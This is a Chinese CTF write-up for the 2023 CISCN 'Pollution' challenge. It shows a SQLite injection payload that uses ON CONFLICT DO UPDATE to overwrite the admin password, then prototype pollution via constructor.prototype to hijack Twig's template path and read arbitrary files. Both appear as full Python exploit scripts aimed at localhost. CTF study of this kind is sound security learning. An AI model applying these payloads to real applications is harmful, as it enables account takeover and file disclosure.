2023_CISCN_Pollution

2023_CISCN_Pollution

开局经典登录框,一顿瞎试。查看源码可以猜测是使用sql注入,后来主办方也是提醒了在注册处存在sql注入。

经过注册登录测试可以猜到第一步是需要获得admin的密码。

app.js里可以看到下列sql语句

1
2
3
4
5
db.all("SELECT * FROM users WHERE username=? AND password=?",[username,password],function(err,result)

db.get("SELECT * FROM users WHERE username=?", [username], function(err, row)

let query = `INSERT INTO users (username, password) VALUES ('${username}', '${utils.md5(password)}')`

可以看到前两句都进行了预编译,所以无法进行注入,我们把重点放到第三句上。非常简单的单引号闭合,对于我来说难点就在这里使用的是SQLite进行注入,当时在比赛的时候还没接触过这类的sql注入。。。用sqlmap硬跑没跑出来。

完整sql查询代码如下

1
2
3
4
5
6
7
8
let query = `INSERT INTO users (username, password) VALUES ('${username}', '${utils.md5(password)}')`;
db.run(query,function(err){
if(err){
console.error(err)
return res.send("<script>alert('Error!');window.location.href='/register'</script>");
}else{
return res.send("<script>alert('Register successed');window.location.href='/login'</script>");
}

可以看到对于语句执行错误或者成功会统一输出Error或者success,所以这里没办法使用报错注入或者直接联合查询拖库等查看admin密码。

这里的突破点是直接使用UPDATE语句来更新admin的密码。

经过测试常规的UPDATE语句没办法直接更新用户的密码,这里使用sqllite里的另一句更新数据的语句

1
.....on CONFLICT DO.....

所以构造如下注入语句

1
admin', 'md5(123456)') on CONFLICT DO UPDATE password = 'md5(123456)' --+

据此可以使用python写出如下脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
def SQLinjection(url):
url=f'{url}/register'
passwd='123456'
hash=passwd.encode('UTF-8')
data={
"username":f"admin','{md5.md5(hash).hexdigest()}') on CONFLICT DO UPDATE SET password='{md5.md5(hash).hexdigest()}' --+",
"password":"123456"
}
res=s.post(url=url,data=data)
if res.status_code == 200 :
print("injected successfully!\n",res.content)
else:
print("injected failed")
if __name__ == '__main__':
url="http://127.0.0.1:80"
SQLinjection(url)

注入成功后就进入/admin页面了,然而web页面什么都没有。开始审计源码。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
app.all("/admin",utils.checkIsAdmin,function(req,res,next){
if(req.method == "GET"){
return res.render('home',{'username':req.session.username})
}
if(req.method == "POST"){
var Info ={
"username":"admin",
"message":"Try2HackMe!"
}
try{
utils.extend(Info, req.body);
return res.render('admin', {"username": Info.username, "message": Info.message});
}catch(err){
return res.send("<script>alert('Error!');window.location.href='/admin'</script>");
}
}
})

定位到utils.extendutils.js中查看源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
static extend(target) {
for (var i = 1; i < arguments.length; i++) {
var source = arguments[i]

for (var key in source) {
if (key === '__proto__') {
return;
}
if (hasOwnProperty.call(source, key)) {
if (key in source && key in target) {
Utils.extend(target[key], source[key])
} else {
target[key] = source[key]
}
}
}
}
return target
}

很典型的递归调用合并函数。至此可以判断下一步的利用点是原型链污染。

同时可以看到在__proto__属性被过滤了,这里使用constructor.prototype进行绕过。

现在把重点放在entxend函数后面的render函数里面。设置debug进行逐行审计。

1
2
3
4
5
6
utils.js->render()
response.js->app.render()
application->view.render()
twig.js->Twig.exports.twig()
twig.js->Twig.Templates.loadRemote()
twig.js->Twig.Templates.loadRemote()

首先是进入response.js里的res.render()函数,这里的操作就是对一些数据进行了赋值。

接着进入到了application.js里的app.render()里,也是对一些数据进行了赋值。

接着进入到了application.js里的this.set(path)

在view.js里设置了fileName值为变量name的值,即admin

接着在这里

1
2
3
4
5
6
7
8
if (!this.ext) {
// get extension from default engine name
this.ext = this.defaultEngine[0] !== '.'
? '.' + this.defaultEngine
: this.defaultEngine;

fileName += this.ext;
}

fileName被设置为了admin.twig

接着还是在view.js里会调用lookup方法,根据文件名admin.twig查找并设置path

1
2
// lookup path
this.path = this.lookup(fileName);

然后又跳到了application.js里的view.render()里面

接着到twig.js里的Twig.exports.renderFile(),然后是Twig.exports.twig(params),这里的作用是加载渲染twig模板并输出。

进入Twig.exports.renderFile()后显示对params的各个参数进行判断

由于在上面我们知道了path值已经被设置为了admin.twig所以这里会进入判断,同时要注意这里传入的params对象已经没有了path属性。

1
2
3
4
5
6
7
8
9
10
11
12
13
if (params.path !== undefined) {
return Twig.Templates.loadRemote(params.path, {
id: id,
method: 'fs',
parser: params.parser || 'twig',
base: params.base,
module: params.module,
precompiled: params.precompiled,
async: params.async,
options: options
}, params.load, params.error);
}
}; // Extend Twig with a new filter.

接着是loadRemote函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
Twig.Templates.loadRemote = function (location, params, callback, errorCallback) {
// Default to the URL so the template is cached.
var id = typeof params.id === 'undefined' ? location : params.id;
var cached = Twig.Templates.registry[id]; // Check for existing template

if (Twig.cache && typeof cached !== 'undefined') {
// A template is already saved with the given id.
if (typeof callback === 'function') {
callback(cached);
} // TODO: if async, return deferred promise


return cached;
} // If the parser name hasn't been set, default it to twig


params.parser = params.parser || 'twig';
params.id = id; // Default to async

if (typeof params.async === 'undefined') {
params.async = true;
} // Assume 'fs' if the loader is not defined


var loader = this.loaders[params.method] || this.loaders.fs;
return loader.call(this, location, params, callback, errorCallback);
}; // Determine object type

这边是通过params的id来加载模版。location变量正好是上面传入的params.path,且params.id为非空,所以这里是通过params.id来加载模板。而在上面的代码中,id的值也正好是path的值。

接着会通过call函数会调用到registerLoader函数

registerLoader函数我们可以关注下面这一条

1
2
3
4
5
6
7
if (precompiled === true) {
data = JSON.parse(data);
}

params.data = data;
params.path = params.path || location; // Template is in data

因为在之前params的path属性已经被销毁,这里默认是location的路径。所以这里可以推测出一条利用链,通过原型链污染来控制path属性从而读取任意文件。

所以原型链可以按如下格式进行构造

1
{"constructor":{"protoytpe":{"path":"flag路径"}}}

根据上面的分析可以编写以下脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
![2](images/2.png)import requests
import hashlib as md5
import json

s=requests.session()
url="http://127.0.0.1"
def SQLinjection(url):
url=f'{url}/register'
passwd='123456'
hash=passwd.encode('UTF-8')
data={
"username":f"admin','{md5.md5(hash).hexdigest()}') on CONFLICT DO UPDATE SET password='{md5.md5(hash).hexdigest()}' --+",
"password":"123456"
}
res=s.post(url=url,data=data)
if res.status_code == 200 :
print("injected successfully!\n",res.content)
else:
print("injected failed")
if __name__ == '__main__':
url="http://127.0.0.1:80"
SQLinjection(url)

#忘记写登录的逻辑了
def Login(url):#获取登录session
url=f'{url}/login'
data={
"username":"admin",
"password":"123456"
}
res=s.post(url=url,data=data)
if res.status_code == 200:
print("Login successful")
else:
print("Login failed")



def pollution(url):
url=f'{url}/admin'
data={"constructor":{"prototype":{"path":"/Users/sammy/Desktop/临时题目文件夹/pollute/flag.txt"}}
}
data=json.dumps(data)
res=s.post(url=url,data=data,headers={"Content-Type":"application/json"})
if res.status_code == 200:
print("polluted successfully\n",res.content)
else:
print("polluted failed\n")

if __name__ == '__main__':
SQLinjection(url)
Login(url)
pollution(url)

获得flag

参考文章:kento师傅的复现wp


2023_CISCN_Pollution
https://sammylingsj.github.io/2023/06/24/2023CISCN/2023_CISCN_Pollution/
作者
s4mmy
发布于
2023年6月24日
许可协议